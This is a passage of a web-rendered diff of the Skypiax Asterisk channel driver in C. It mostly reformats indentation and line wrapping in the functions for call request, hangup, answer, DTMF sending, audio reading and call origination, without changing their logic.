- char *name = data;
- int res = AST_DEVICE_INVALID;
</del><ins>+        struct skypiax_pvt *p = NULL;
+        char *name = data;
+        int res = AST_DEVICE_INVALID;
</ins><span class="cx">
</span><del>- if (!data) {
- ERRORA("Devicestate requested with no data\n", SKYPIAX_P_LOG);
- return res;
- }
</del><ins>+        if (!data) {
+                ERRORA("Devicestate requested with no data\n", SKYPIAX_P_LOG);
+                return res;
+        }
</ins><span class="cx">
</span><del>- /* lock the interfaces' list */
- LOKKA(&skypiax_iflock);
- /* make a pointer to the first interface in the interfaces list */
- p = skypiax_iflist;
- /* Search for the requested interface and verify if is unowned */
- while (p) {
- size_t length = strlen(p->name);
- /* is this the requested interface? */
- if (strncmp(name, p->name, length) == 0) {
- /* is this interface unowned? */
- if (!p->owner) {
- res = AST_DEVICE_NOT_INUSE;
- DEBUGA_PBX("Interface is NOT OWNED by a channel\n", SKYPIAX_P_LOG);
- } else {
- /* interface owned by a channel */
- res = AST_DEVICE_INUSE;
- DEBUGA_PBX("Interface is OWNED by a channel\n", SKYPIAX_P_LOG);
- }
</del><ins>+        /* lock the interfaces' list */
+        LOKKA(&skypiax_iflock);
+        /* make a pointer to the first interface in the interfaces list */
+        p = skypiax_iflist;
+        /* Search for the requested interface and verify if is unowned */
+        while (p) {
+                size_t length = strlen(p->name);
+                /* is this the requested interface? */
+                if (strncmp(name, p->name, length) == 0) {
+                        /* is this interface unowned? */
+                        if (!p->owner) {
+                                res = AST_DEVICE_NOT_INUSE;
+                                DEBUGA_PBX("Interface is NOT OWNED by a channel\n", SKYPIAX_P_LOG);
+                        } else {
+                                /* interface owned by a channel */
+                                res = AST_DEVICE_INUSE;
+                                DEBUGA_PBX("Interface is OWNED by a channel\n", SKYPIAX_P_LOG);
+                        }
</ins><span class="cx">
</span><del>- /* we found the requested interface, bail out from the while loop */
- break;
- }
- /* not yet found, next please */
- p = p->next;
- }
- /* unlock the interfaces' list */
- UNLOCKA(&skypiax_iflock);
</del><ins>+                        /* we found the requested interface, bail out from the while loop */
+                        break;
+                }
+                /* not yet found, next please */
+                p = p->next;
+        }
+        /* unlock the interfaces' list */
+        UNLOCKA(&skypiax_iflock);
</ins><span class="cx">
</span><del>- if (res == AST_DEVICE_INVALID) {
- ERRORA("Checking device state for interface [%s] returning AST_DEVICE_INVALID\n",
- SKYPIAX_P_LOG, name);
- }
- return res;
</del><ins>+        if (res == AST_DEVICE_INVALID) {
+                ERRORA("Checking device state for interface [%s] returning AST_DEVICE_INVALID\n", SKYPIAX_P_LOG, name);
+        }
+        return res;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> #ifndef ASTERISK_VERSION_1_4
</span><span class="lines">@@ -265,129 +256,126 @@
</span><span class="cx"> int skypiax_indicate(struct ast_channel *c, int cond, const void *data, size_t datalen)
</span><span class="cx"> #endif
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = c->tech_pvt;
- int res = 0;
</del><ins>+        struct skypiax_pvt *p = c->tech_pvt;
+        int res = 0;
</ins><span class="cx">
</span><del>- NOTICA("Let's INDICATE %d\n", SKYPIAX_P_LOG, cond);
</del><ins>+        NOTICA("Let's INDICATE %d\n", SKYPIAX_P_LOG, cond);
</ins><span class="cx">
</span><del>- switch (cond) {
- case AST_CONTROL_BUSY:
- case AST_CONTROL_CONGESTION:
- case AST_CONTROL_RINGING:
- case -1:
- res = -1; /* Ask for inband indications */
- break;
- case AST_CONTROL_PROGRESS:
- case AST_CONTROL_PROCEEDING:
- case AST_CONTROL_VIDUPDATE:
- case AST_CONTROL_HOLD:
- case AST_CONTROL_UNHOLD:
</del><ins>+        switch (cond) {
+        case AST_CONTROL_BUSY:
+        case AST_CONTROL_CONGESTION:
+        case AST_CONTROL_RINGING:
+        case -1:
+                res = -1;                                /* Ask for inband indications */
+                break;
+        case AST_CONTROL_PROGRESS:
+        case AST_CONTROL_PROCEEDING:
+        case AST_CONTROL_VIDUPDATE:
+        case AST_CONTROL_HOLD:
+        case AST_CONTROL_UNHOLD:
</ins><span class="cx"> #ifdef ASTERISK_VERSION_1_4
</span><del>- case AST_CONTROL_SRCUPDATE:
</del><ins>+        case AST_CONTROL_SRCUPDATE:
</ins><span class="cx"> #endif /* ASTERISK_VERSION_1_4 */
</span><del>- break;
- default:
- WARNINGA("Don't know how to display condition %d on %s\n", SKYPIAX_P_LOG, cond,
- c->name);
- /* The core will play inband indications for us if appropriate */
- res = -1;
- }
</del><ins>+                break;
+        default:
+                WARNINGA("Don't know how to display condition %d on %s\n", SKYPIAX_P_LOG, cond, c->name);
+                /* The core will play inband indications for us if appropriate */
+                res = -1;
+        }
</ins><span class="cx">
</span><del>- return res;
</del><ins>+        return res;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief PBX interface function -build skypiax pvt structure
</span><span class="cx"> * skypiax calls initiated by the PBX arrive here */
</span><span class="cx"> struct ast_channel *skypiax_request(const char *type, int format, void *data, int *cause)
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = NULL;
- struct ast_channel *tmp = NULL;
- char *name = data;
- int found = 0;
</del><ins>+        struct skypiax_pvt *p = NULL;
+        struct ast_channel *tmp = NULL;
+        char *name = data;
+        int found = 0;
</ins><span class="cx">
</span><del>- DEBUGA_PBX("Try to request type: %s, name: %s, cause: %d," " format: %d\n",
- SKYPIAX_P_LOG, type, name, *cause, format);
</del><ins>+        DEBUGA_PBX("Try to request type: %s, name: %s, cause: %d," " format: %d\n", SKYPIAX_P_LOG, type, name, *cause, format);
</ins><span class="cx">
</span><del>- if (!data) {
- ERRORA("Channel requested with no data\n", SKYPIAX_P_LOG);
- return NULL;
- }
</del><ins>+        if (!data) {
+                ERRORA("Channel requested with no data\n", SKYPIAX_P_LOG);
+                return NULL;
+        }
</ins><span class="cx">
</span><del>- char interface[256];
- int i;
- memset(interface, '\0', sizeof(interface));
</del><ins>+        char interface[256];
+        int i;
+        memset(interface, '\0', sizeof(interface));
</ins><span class="cx">
</span><del>- for (i = 0; i < sizeof(interface); i++) {
- if (name[i] == '/')
- break;
- interface[i] = name[i];
- }
- /* lock the interfaces' list */
- LOKKA(&skypiax_iflock);
- /* make a pointer to the first interface in the interfaces list */
- p = skypiax_iflist;
</del><ins>+        for (i = 0; i < sizeof(interface); i++) {
+                if (name[i] == '/')
+                        break;
+                interface[i] = name[i];
+        }
+        /* lock the interfaces' list */
+        LOKKA(&skypiax_iflock);
+        /* make a pointer to the first interface in the interfaces list */
+        p = skypiax_iflist;
</ins><span class="cx">
</span><del>- if (strcmp("ANY", interface) == 0) {
- /* we've been asked for the "ANY" interface, let's find the first idle interface */
- DEBUGA_SKYPE("Finding one available skype interface\n", SKYPIAX_P_LOG);
- p = find_available_skypiax_interface();
- if (p) {
- found = 1;
</del><ins>+        if (strcmp("ANY", interface) == 0) {
+                /* we've been asked for the "ANY" interface, let's find the first idle interface */
+                DEBUGA_SKYPE("Finding one available skype interface\n", SKYPIAX_P_LOG);
+                p = find_available_skypiax_interface();
+                if (p) {
+                        found = 1;
</ins><span class="cx">
</span><del>- /* create a new channel owning this interface */
- tmp = skypiax_new(p, SKYPIAX_STATE_DOWN, p->context);
- if (!tmp) {
- /* the channel was not created, probable memory allocation error */
- *cause = AST_CAUSE_SWITCH_CONGESTION;
- }
</del><ins>+                        /* create a new channel owning this interface */
+                        tmp = skypiax_new(p, SKYPIAX_STATE_DOWN, p->context);
+                        if (!tmp) {
+                                /* the channel was not created, probable memory allocation error */
+                                *cause = AST_CAUSE_SWITCH_CONGESTION;
+                        }
</ins><span class="cx">
</span><del>- }
</del><ins>+                }
</ins><span class="cx">
</span><del>- }
</del><ins>+        }
</ins><span class="cx">
</span><del>- /* Search for the requested interface and verify if is unowned and format compatible */
- while (p && !found) {
- //size_t length = strlen(p->name);
- /* is this the requested interface? */
- if (strcmp(interface, p->name) == 0) {
- /* is the requested format supported by this interface? */
- if ((format & AST_FORMAT_SLINEAR) != 0) {
- /* is this interface unowned? */
- if (!p->owner) {
- DEBUGA_PBX("Requesting: %s, name: %s, format: %d\n", SKYPIAX_P_LOG, type, name,
- format);
- /* create a new channel owning this interface */
- tmp = skypiax_new(p, SKYPIAX_STATE_DOWN, p->context);
- if (!tmp) {
- /* the channel was not created, probable memory allocation error */
- *cause = AST_CAUSE_SWITCH_CONGESTION;
- }
- } else {
- /* interface owned by another channel */
- WARNINGA("owned by another channel\n", SKYPIAX_P_LOG);
- *cause = AST_CAUSE_REQUESTED_CHAN_UNAVAIL;
- }
- } else {
- /* requested format not supported */
- WARNINGA("format %d not supported\n", SKYPIAX_P_LOG, format);
- *cause = AST_CAUSE_BEARERCAPABILITY_NOTAVAIL;
- }
- /* we found the requested interface, bail out from the while loop */
- break;
- }
- /* not yet found, next please */
- p = p->next;
- }
- /* unlock the interfaces' list */
- UNLOCKA(&skypiax_iflock);
- /* restart the monitor so it will watch only the remaining unowned interfaces */
- skypiax_restart_monitor();
- if (tmp == NULL) {
- /* new channel was not created */
- WARNINGA("Unable to create new Skypiax channel %s\n", SKYPIAX_P_LOG, name);
- }
- /* return the newly created channel */
- return tmp;
</del><ins>+        /* Search for the requested interface and verify if is unowned and format compatible */
+        while (p && !found) {
+                //size_t length = strlen(p->name);
+                /* is this the requested interface? */
+                if (strcmp(interface, p->name) == 0) {
+                        /* is the requested format supported by this interface? */
+                        if ((format & AST_FORMAT_SLINEAR) != 0) {
+                                /* is this interface unowned? */
+                                if (!p->owner) {
+                                        DEBUGA_PBX("Requesting: %s, name: %s, format: %d\n", SKYPIAX_P_LOG, type, name, format);
+                                        /* create a new channel owning this interface */
+                                        tmp = skypiax_new(p, SKYPIAX_STATE_DOWN, p->context);
+                                        if (!tmp) {
+                                                /* the channel was not created, probable memory allocation error */
+                                                *cause = AST_CAUSE_SWITCH_CONGESTION;
+                                        }
+                                } else {
+                                        /* interface owned by another channel */
+                                        WARNINGA("owned by another channel\n", SKYPIAX_P_LOG);
+                                        *cause = AST_CAUSE_REQUESTED_CHAN_UNAVAIL;
+                                }
+                        } else {
+                                /* requested format not supported */
+                                WARNINGA("format %d not supported\n", SKYPIAX_P_LOG, format);
+                                *cause = AST_CAUSE_BEARERCAPABILITY_NOTAVAIL;
+                        }
+                        /* we found the requested interface, bail out from the while loop */
+                        break;
+                }
+                /* not yet found, next please */
+                p = p->next;
+        }
+        /* unlock the interfaces' list */
+        UNLOCKA(&skypiax_iflock);
+        /* restart the monitor so it will watch only the remaining unowned interfaces */
+        skypiax_restart_monitor();
+        if (tmp == NULL) {
+                /* new channel was not created */
+                WARNINGA("Unable to create new Skypiax channel %s\n", SKYPIAX_P_LOG, name);
+        }
+        /* return the newly created channel */
+        return tmp;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief Hangup skypiax call
</span><span class="lines">@@ -395,144 +383,142 @@
</span><span class="cx">
</span><span class="cx"> int skypiax_hangup(struct ast_channel *c)
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p;
</del><ins>+        struct skypiax_pvt *p;
</ins><span class="cx">
</span><del>- /* get our skypiax pvt interface from channel */
- p = c->tech_pvt;
- /* if there is not skypiax pvt why we are here ? */
- if (!p) {
- ERRORA("Asked to hangup channel not connected\n", SKYPIAX_P_LOG);
- return 0;
- }
</del><ins>+        /* get our skypiax pvt interface from channel */
+        p = c->tech_pvt;
+        /* if there is not skypiax pvt why we are here ? */
+        if (!p) {
+                ERRORA("Asked to hangup channel not connected\n", SKYPIAX_P_LOG);
+                return 0;
+        }
</ins><span class="cx">
</span><del>- if (p->skype && p->interface_state != SKYPIAX_STATE_DOWN) {
- char msg_to_skype[1024];
- p->interface_state = SKYPIAX_STATE_HANGUP_REQUESTED;
- DEBUGA_SKYPE("hanging up skype call: %s\n", SKYPIAX_P_LOG, p->skype_call_id);
- //sprintf(msg_to_skype, "SET CALL %s STATUS FINISHED", p->skype_call_id);
- sprintf(msg_to_skype, "ALTER CALL %s HANGUP", p->skype_call_id);
- skypiax_signaling_write(p, msg_to_skype);
- }
</del><ins>+        if (p->skype && p->interface_state != SKYPIAX_STATE_DOWN) {
+                char msg_to_skype[1024];
+                p->interface_state = SKYPIAX_STATE_HANGUP_REQUESTED;
+                DEBUGA_SKYPE("hanging up skype call: %s\n", SKYPIAX_P_LOG, p->skype_call_id);
+                //sprintf(msg_to_skype, "SET CALL %s STATUS FINISHED", p->skype_call_id);
+                sprintf(msg_to_skype, "ALTER CALL %s HANGUP", p->skype_call_id);
+                skypiax_signaling_write(p, msg_to_skype);
+        }
</ins><span class="cx">
</span><del>- while (p->interface_state != SKYPIAX_STATE_DOWN) {
- usleep(10000);
- }
- DEBUGA_SKYPE("Now is really DOWN\n", SKYPIAX_P_LOG);
- /* shutdown the serial monitoring thread */
- if (p->controldev_thread && (p->controldev_thread != AST_PTHREADT_NULL)
- && (p->controldev_thread != AST_PTHREADT_STOP)) {
- if (pthread_cancel(p->controldev_thread)) {
- ERRORA("controldev_thread pthread_cancel failed, maybe he killed himself?\n",
- SKYPIAX_P_LOG);
- }
- /* push it, maybe is stuck in a select or so */
- if (pthread_kill(p->controldev_thread, SIGURG)) {
- DEBUGA_SERIAL("controldev_thread pthread_kill failed, no problem\n", SKYPIAX_P_LOG);
- }
-#ifndef __CYGWIN__ /* under cygwin, this seems to be not reliable, get stuck at times */
- /* wait for it to die */
- if (pthread_join(p->controldev_thread, NULL)) {
- ERRORA("controldev_thread pthread_join failed, BAD\n", SKYPIAX_P_LOG);
- }
</del><ins>+        while (p->interface_state != SKYPIAX_STATE_DOWN) {
+                usleep(10000);
+        }
+        DEBUGA_SKYPE("Now is really DOWN\n", SKYPIAX_P_LOG);
+        /* shutdown the serial monitoring thread */
+        if (p->controldev_thread && (p->controldev_thread != AST_PTHREADT_NULL)
+                && (p->controldev_thread != AST_PTHREADT_STOP)) {
+                if (pthread_cancel(p->controldev_thread)) {
+                        ERRORA("controldev_thread pthread_cancel failed, maybe he killed himself?\n", SKYPIAX_P_LOG);
+                }
+                /* push it, maybe is stuck in a select or so */
+                if (pthread_kill(p->controldev_thread, SIGURG)) {
+                        DEBUGA_SERIAL("controldev_thread pthread_kill failed, no problem\n", SKYPIAX_P_LOG);
+                }
+#ifndef __CYGWIN__                                /* under cygwin, this seems to be not reliable, get stuck at times */
+                /* wait for it to die */
+                if (pthread_join(p->controldev_thread, NULL)) {
+                        ERRORA("controldev_thread pthread_join failed, BAD\n", SKYPIAX_P_LOG);
+                }
</ins><span class="cx"> #else /* __CYGWIN__ */
</span><span class="cx"> /* allow the serial thread to die */
</span><del>- usleep(300000); //300msecs
</del><ins>+                usleep(300000);                        //300msecs
</ins><span class="cx"> #endif /* __CYGWIN__ */
</span><del>- }
- p->controldev_thread = AST_PTHREADT_NULL;
</del><ins>+        }
+        p->controldev_thread = AST_PTHREADT_NULL;
</ins><span class="cx">
</span><del>- p->interface_state = SKYPIAX_STATE_DOWN;
- p->skype_callflow = CALLFLOW_CALL_IDLE;
</del><ins>+        p->interface_state = SKYPIAX_STATE_DOWN;
+        p->skype_callflow = CALLFLOW_CALL_IDLE;
</ins><span class="cx">
</span><del>- DEBUGA_PBX("I'll send AST_CONTROL_HANGUP\n", SKYPIAX_P_LOG);
- ast_queue_control(p->owner, AST_CONTROL_HANGUP);
- DEBUGA_PBX("I've sent AST_CONTROL_HANGUP\n", SKYPIAX_P_LOG);
</del><ins>+        DEBUGA_PBX("I'll send AST_CONTROL_HANGUP\n", SKYPIAX_P_LOG);
+        ast_queue_control(p->owner, AST_CONTROL_HANGUP);
+        DEBUGA_PBX("I've sent AST_CONTROL_HANGUP\n", SKYPIAX_P_LOG);
</ins><span class="cx">
</span><del>- /* subtract one to the usage count of Skypiax-type channels */
- LOKKA(&skypiax_usecnt_lock);
- skypiax_usecnt--;
- if (skypiax_usecnt < 0)
- ERRORA("Usecnt < 0???\n", SKYPIAX_P_LOG);
- UNLOCKA(&skypiax_usecnt_lock);
- ast_update_use_count();
</del><ins>+        /* subtract one to the usage count of Skypiax-type channels */
+        LOKKA(&skypiax_usecnt_lock);
+        skypiax_usecnt--;
+        if (skypiax_usecnt < 0)
+                ERRORA("Usecnt < 0???\n", SKYPIAX_P_LOG);
+        UNLOCKA(&skypiax_usecnt_lock);
+        ast_update_use_count();
</ins><span class="cx">
</span><del>- /* our skypiax pvt interface is no more part of a channel */
- p->owner = NULL;
- /* our channel has no more this skypiax pvt interface to manage */
- c->tech_pvt = NULL;
- /* set the channel state to DOWN, eg. available, not in active use */
- if (ast_setstate(c, SKYPIAX_STATE_DOWN)) {
- ERRORA("ast_setstate failed, BAD\n", SKYPIAX_P_LOG);
- return -1;
- }
</del><ins>+        /* our skypiax pvt interface is no more part of a channel */
+        p->owner = NULL;
+        /* our channel has no more this skypiax pvt interface to manage */
+        c->tech_pvt = NULL;
+        /* set the channel state to DOWN, eg. available, not in active use */
+        if (ast_setstate(c, SKYPIAX_STATE_DOWN)) {
+                ERRORA("ast_setstate failed, BAD\n", SKYPIAX_P_LOG);
+                return -1;
+        }
</ins><span class="cx">
</span><del>- /* restart the monitor thread, so it can recheck which interfaces it have to watch during its loop (the interfaces that are not owned by channels) */
- if (skypiax_restart_monitor()) {
- ERRORA("skypiax_restart_monitor failed, BAD\n", SKYPIAX_P_LOG);
- return -1;
- }
</del><ins>+        /* restart the monitor thread, so it can recheck which interfaces it have to watch during its loop (the interfaces that are not owned by channels) */
+        if (skypiax_restart_monitor()) {
+                ERRORA("skypiax_restart_monitor failed, BAD\n", SKYPIAX_P_LOG);
+                return -1;
+        }
</ins><span class="cx">
</span><del>- return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief Answer incoming call,
</span><span class="cx"> * Part of PBX interface */
</span><span class="cx"> int skypiax_answer(struct ast_channel *c)
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = c->tech_pvt;
- int res;
</del><ins>+        struct skypiax_pvt *p = c->tech_pvt;
+        int res;
</ins><span class="cx">
</span><del>- /* whle ringing, we just wait, the skype thread will answer */
- while (p->interface_state == SKYPIAX_STATE_RING) {
- usleep(10000); //10msec
- }
- if (p->interface_state != SKYPIAX_STATE_UP) {
- ERRORA("call answering failed, we want it to be into interface_state=%d, got %d\n",
- SKYPIAX_P_LOG, SKYPIAX_STATE_UP, p->interface_state);
- res = -1;
- } else {
- DEBUGA_PBX("call answered\n", SKYPIAX_P_LOG);
- res = 0;
- }
- return res;
</del><ins>+        /* whle ringing, we just wait, the skype thread will answer */
+        while (p->interface_state == SKYPIAX_STATE_RING) {
+                usleep(10000);                        //10msec
+        }
+        if (p->interface_state != SKYPIAX_STATE_UP) {
+                ERRORA("call answering failed, we want it to be into interface_state=%d, got %d\n", SKYPIAX_P_LOG, SKYPIAX_STATE_UP, p->interface_state);
+                res = -1;
+        } else {
+                DEBUGA_PBX("call answered\n", SKYPIAX_P_LOG);
+                res = 0;
+        }
+        return res;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> #ifdef ASTERISK_VERSION_1_4
</span><span class="cx"> int skypiax_digitsend_begin(struct ast_channel *c, char digit)
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = c->tech_pvt;
</del><ins>+        struct skypiax_pvt *p = c->tech_pvt;
</ins><span class="cx">
</span><del>- DEBUGA_PBX("DIGIT BEGIN received: %c\n", SKYPIAX_P_LOG, digit);
</del><ins>+        DEBUGA_PBX("DIGIT BEGIN received: %c\n", SKYPIAX_P_LOG, digit);
</ins><span class="cx">
</span><del>- return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int skypiax_digitsend_end(struct ast_channel *c, char digit, unsigned int duration)
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = c->tech_pvt;
- char msg_to_skype[1024];
</del><ins>+        struct skypiax_pvt *p = c->tech_pvt;
+        char msg_to_skype[1024];
</ins><span class="cx">
</span><del>- NOTICA("DIGIT END received: %c %d\n", SKYPIAX_P_LOG, digit, duration);
</del><ins>+        NOTICA("DIGIT END received: %c %d\n", SKYPIAX_P_LOG, digit, duration);
</ins><span class="cx">
</span><del>- sprintf(msg_to_skype, "SET CALL %s DTMF %c", p->skype_call_id, digit);
</del><ins>+        sprintf(msg_to_skype, "SET CALL %s DTMF %c", p->skype_call_id, digit);
</ins><span class="cx">
</span><del>- skypiax_signaling_write(p, msg_to_skype);
</del><ins>+        skypiax_signaling_write(p, msg_to_skype);
</ins><span class="cx">
</span><del>- return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> #else /* ASTERISK_VERSION_1_4 */
</span><span class="cx"> int skypiax_digitsend(struct ast_channel *c, char digit)
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = c->tech_pvt;
- char msg_to_skype[1024];
</del><ins>+        struct skypiax_pvt *p = c->tech_pvt;
+        char msg_to_skype[1024];
</ins><span class="cx">
</span><del>- NOTICA("DIGIT received: %c\n", SKYPIAX_P_LOG, digit);
</del><ins>+        NOTICA("DIGIT received: %c\n", SKYPIAX_P_LOG, digit);
</ins><span class="cx">
</span><del>- sprintf(msg_to_skype, "SET CALL %s DTMF %c", p->skype_call_id, digit);
</del><ins>+        sprintf(msg_to_skype, "SET CALL %s DTMF %c", p->skype_call_id, digit);
</ins><span class="cx">
</span><del>- skypiax_signaling_write(p, msg_to_skype);
</del><ins>+        skypiax_signaling_write(p, msg_to_skype);
</ins><span class="cx">
</span><del>- return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> #endif /* ASTERISK_VERSION_1_4 */
</span><span class="lines">@@ -541,62 +527,61 @@
</span><span class="cx"> /*! \brief Read audio frames from channel */
</span><span class="cx"> struct ast_frame *skypiax_read(struct ast_channel *c)
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = c->tech_pvt;
- static struct ast_frame f;
- static short __buf[SKYPIAX_FRAME_SIZE + AST_FRIENDLY_OFFSET / 2];
- short *buf;
- int samples;
</del><ins>+        struct skypiax_pvt *p = c->tech_pvt;
+        static struct ast_frame f;
+        static short __buf[SKYPIAX_FRAME_SIZE + AST_FRIENDLY_OFFSET / 2];
+        short *buf;
+        int samples;
</ins><span class="cx">
</span><span class="cx"> /* if there are control frames queued to be sent by skypiax_queue_control, send it the first */
</span><span class="cx"> //TODO maybe better a real queue?
</span><del>- if (p && p->owner && p->control_to_send) {
- ast_queue_control(p->owner, p->control_to_send);
- DEBUGA_PBX("Sent CONTROL FRAME %d\n", SKYPIAX_P_LOG, p->control_to_send);
- p->control_to_send = 0;
- }
</del><ins>+        if (p && p->owner && p->control_to_send) {
+                ast_queue_control(p->owner, p->control_to_send);
+                DEBUGA_PBX("Sent CONTROL FRAME %d\n", SKYPIAX_P_LOG, p->control_to_send);
+                p->control_to_send = 0;
+        }
</ins><span class="cx">
</span><del>- memset(__buf, '\0', (SKYPIAX_FRAME_SIZE + AST_FRIENDLY_OFFSET / 2));
</del><ins>+        memset(__buf, '\0', (SKYPIAX_FRAME_SIZE + AST_FRIENDLY_OFFSET / 2));
</ins><span class="cx">
</span><del>- buf = __buf + AST_FRIENDLY_OFFSET / 2;
</del><ins>+        buf = __buf + AST_FRIENDLY_OFFSET / 2;
</ins><span class="cx">
</span><del>- f.frametype = AST_FRAME_NULL;
- f.subclass = 0;
- f.samples = 0;
- f.datalen = 0;
- f.data = NULL;
- f.offset = 0;
- f.src = skypiax_type;
- f.mallocd = 0;
- f.delivery.tv_sec = 0;
- f.delivery.tv_usec = 0;
</del><ins>+        f.frametype = AST_FRAME_NULL;
+        f.subclass = 0;
+        f.samples = 0;
+        f.datalen = 0;
+        f.data = NULL;
+        f.offset = 0;
+        f.src = skypiax_type;
+        f.mallocd = 0;
+        f.delivery.tv_sec = 0;
+        f.delivery.tv_usec = 0;
</ins><span class="cx">
</span><span class="cx"> /* if the call is not active (ie: answered), do not send audio frames, they would pile up in a lag queue */
</span><del>- if (p->owner && p->owner->_state != SKYPIAX_STATE_UP) {
- return &f;
- }
</del><ins>+        if (p->owner && p->owner->_state != SKYPIAX_STATE_UP) {
+                return &f;
+        }
</ins><span class="cx">
</span><del>- if ((samples = read(p->audiopipe[0], buf, SAMPLES_PER_FRAME * sizeof(short))) != 320) {
- DEBUGA_SOUND("read=====> NOT GOOD samples=%d expected=%d\n", SKYPIAX_P_LOG, samples,
- SAMPLES_PER_FRAME * sizeof(short));
- usleep(100);
- //do nothing
- } else {
- //DEBUGA_SOUND("read=====> GOOD samples=%d\n", SKYPIAX_P_LOG, samples);
- /* A real frame */
- f.frametype = AST_FRAME_VOICE;
- f.subclass = AST_FORMAT_SLINEAR;
- f.samples = SKYPIAX_FRAME_SIZE;
- f.datalen = SKYPIAX_FRAME_SIZE * 2;
- f.data = buf;
- f.offset = AST_FRIENDLY_OFFSET;
- f.src = skypiax_type;
- f.mallocd = 0;
</del><ins>+        if ((samples = read(p->audiopipe[0], buf, SAMPLES_PER_FRAME * sizeof(short))) != 320) {
+                DEBUGA_SOUND("read=====> NOT GOOD samples=%d expected=%d\n", SKYPIAX_P_LOG, samples, SAMPLES_PER_FRAME * sizeof(short));
+                usleep(100);
+                //do nothing
+        } else {
+                //DEBUGA_SOUND("read=====> GOOD samples=%d\n", SKYPIAX_P_LOG, samples);
+                /* A real frame */
+                f.frametype = AST_FRAME_VOICE;
+                f.subclass = AST_FORMAT_SLINEAR;
+                f.samples = SKYPIAX_FRAME_SIZE;
+                f.datalen = SKYPIAX_FRAME_SIZE * 2;
+                f.data = buf;
+                f.offset = AST_FRIENDLY_OFFSET;
+                f.src = skypiax_type;
+                f.mallocd = 0;
</ins><span class="cx">
</span><del>- if (p->capture_boost)
- skypiax_sound_boost(&f, p->capture_boost);
- }
</del><ins>+                if (p->capture_boost)
+                        skypiax_sound_boost(&f, p->capture_boost);
+        }
</ins><span class="cx">
</span><del>- return &f;
</del><ins>+        return &f;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief Initiate skypiax call from PBX
</span><span class="lines">@@ -604,210 +589,199 @@
</span><span class="cx"> */
</span><span class="cx"> int skypiax_originate_call(struct ast_channel *c, char *idest, int timeout)
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = NULL;
- p = c->tech_pvt;
- char rdest[80], *where, dstr[100] = "";
- char *stringp = NULL;
- int status;
</del><ins>+        struct skypiax_pvt *p = NULL;
+        p = c->tech_pvt;
+        char rdest[80], *where, dstr[100] = "";
+        char *stringp = NULL;
+        int status;
</ins><span class="cx">
</span><del>- if ((c->_state != SKYPIAX_STATE_DOWN)
- && (c->_state != SKYPIAX_STATE_RESERVED)) {
- ERRORA("skypiax_originate_call called on %s, neither down nor reserved\n",
- SKYPIAX_P_LOG, c->name);
- return -1;
- }
</del><ins>+        if ((c->_state != SKYPIAX_STATE_DOWN)
+                && (c->_state != SKYPIAX_STATE_RESERVED)) {
+                ERRORA("skypiax_originate_call called on %s, neither down nor reserved\n", SKYPIAX_P_LOG, c->name);
+                return -1;
+        }
</ins><span class="cx">
</span><del>- DEBUGA_PBX("skypiax_originate_call to call idest: %s, timeout: %d!\n", SKYPIAX_P_LOG,
- idest, timeout);
</del><ins>+        DEBUGA_PBX("skypiax_originate_call to call idest: %s, timeout: %d!\n", SKYPIAX_P_LOG, idest, timeout);
</ins><span class="cx">
</span><del>- strncpy(rdest, idest, sizeof(rdest) - 1);
- stringp = rdest;
- strsep(&stringp, "/");
- where = strsep(&stringp, "/");
- if (!where) {
- ERRORA("Destination %s requires an actual destination (Skypiax/device/destination)\n",
- SKYPIAX_P_LOG, idest);
- return -1;
- }
</del><ins>+        strncpy(rdest, idest, sizeof(rdest) - 1);
+        stringp = rdest;
+        strsep(&stringp, "/");
+        where = strsep(&stringp, "/");
+        if (!where) {
+                ERRORA("Destination %s requires an actual destination (Skypiax/device/destination)\n", SKYPIAX_P_LOG, idest);
+                return -1;
+        }
</ins><span class="cx">
</span><del>- strncpy(dstr, where + p->stripmsd, sizeof(dstr) - 1);
- DEBUGA_PBX("skypiax_originate_call dialing idest: %s, timeout: %d, dstr: %s!\n",
- SKYPIAX_P_LOG, idest, timeout, dstr);
</del><ins>+        strncpy(dstr, where + p->stripmsd, sizeof(dstr) - 1);
+        DEBUGA_PBX("skypiax_originate_call dialing idest: %s, timeout: %d, dstr: %s!\n", SKYPIAX_P_LOG, idest, timeout, dstr);
</ins><span class="cx">
</span><del>- strcpy(p->session_uuid_str, "dialing");
- status = skypiax_call(p, dstr, timeout);
- if (status) {
- WARNINGA("skypiax_originate_call dialing failed: %d!\n", SKYPIAX_P_LOG, status);
- return -1;
- }
</del><ins>+        strcpy(p->session_uuid_str, "dialing");
+        status = skypiax_call(p, dstr, timeout);
+        if (status) {
+                WARNINGA("skypiax_originate_call dialing failed: %d!\n", SKYPIAX_P_LOG, status);
+                return -1;
+        }
</ins><span class="cx">
</span><del>- DEBUGA_PBX("skypiax_originate_call dialed idest: %s, timeout: %d, dstr: %s!\n",
- SKYPIAX_P_LOG, idest, timeout, dstr);
</del><ins>+        DEBUGA_PBX("skypiax_originate_call dialed idest: %s, timeout: %d, dstr: %s!\n", SKYPIAX_P_LOG, idest, timeout, dstr);
</ins><span class="cx">
</span><del>- ast_setstate(p->owner, SKYPIAX_STATE_DIALING);
- return 0;
</del><ins>+        ast_setstate(p->owner, SKYPIAX_STATE_DIALING);
+        return 0;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int skypiax_sound_boost(struct ast_frame *f, double boost)
</span><span class="cx"> {
</span><span class="cx"> /* LUIGI RIZZO's magic */
</span><del>- if (boost != 0) { /* scale and clip values */
- int i, x;
